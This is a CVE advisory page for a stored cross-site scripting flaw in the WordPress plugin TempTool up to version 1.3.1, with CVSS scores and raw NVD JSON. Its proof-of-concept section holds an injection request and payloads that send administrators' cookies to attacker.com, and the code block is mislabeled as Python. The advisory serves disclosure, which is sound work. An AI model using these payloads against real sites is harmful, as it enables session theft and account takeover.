Security Vulnerability Report
中文
CVE-2025-62926 CVSS 6.5 MEDIUM

CVE-2025-62926

Published: 2025-12-21 22:15:49
Last Modified: 2026-04-23 15:34:48

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in HappyDevs TempTool [Show Current Template Info] current-template-name allows Stored XSS.This issue affects TempTool [Show Current Template Info]: from n/a through <= 1.3.1.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

HappyDevs TempTool current-template-name <= 1.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-62926 PoC - Stored XSS in WordPress current-template-name plugin --> <!-- Attack requires low-privilege account, triggers when admin views template info --> <!-- Step 1: Inject XSS payload via template name field --> POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Cookie: [authenticated user cookie] action=save_template&template_name=<img src=x onerror=this.src='https://attacker.com/log?c='+document.cookie>&nonce=[nonce] <!-- Step 2: When admin visits page with template info, XSS executes --> <!-- Payload: <script>fetch('https://attacker.com/steal?data='+btoa(document.cookie))</script> --> <!-- Payload: <img src=x onerror=document.location='https://attacker.com/phishing?cookie='+document.cookie> --> <!-- Simple HTML PoC for testing --> <html> <body> <form action="http://target.com/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="save_template"> <input type="hidden" name="template_name" value="<script>alert('XSS')</script>"> <input type="submit" value="Exploit"> </form> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62926", "sourceIdentifier": "[email protected]", "published": "2025-12-21T22:15:48.657", "lastModified": "2026-04-23T15:34:48.297", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in HappyDevs TempTool [Show Current Template Info] current-template-name allows Stored XSS.This issue affects TempTool [Show Current Template Info]: from n/a through <= 1.3.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/current-template-name/vulnerability/wordpress-temptool-show-current-template-info-plugin-1-3-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}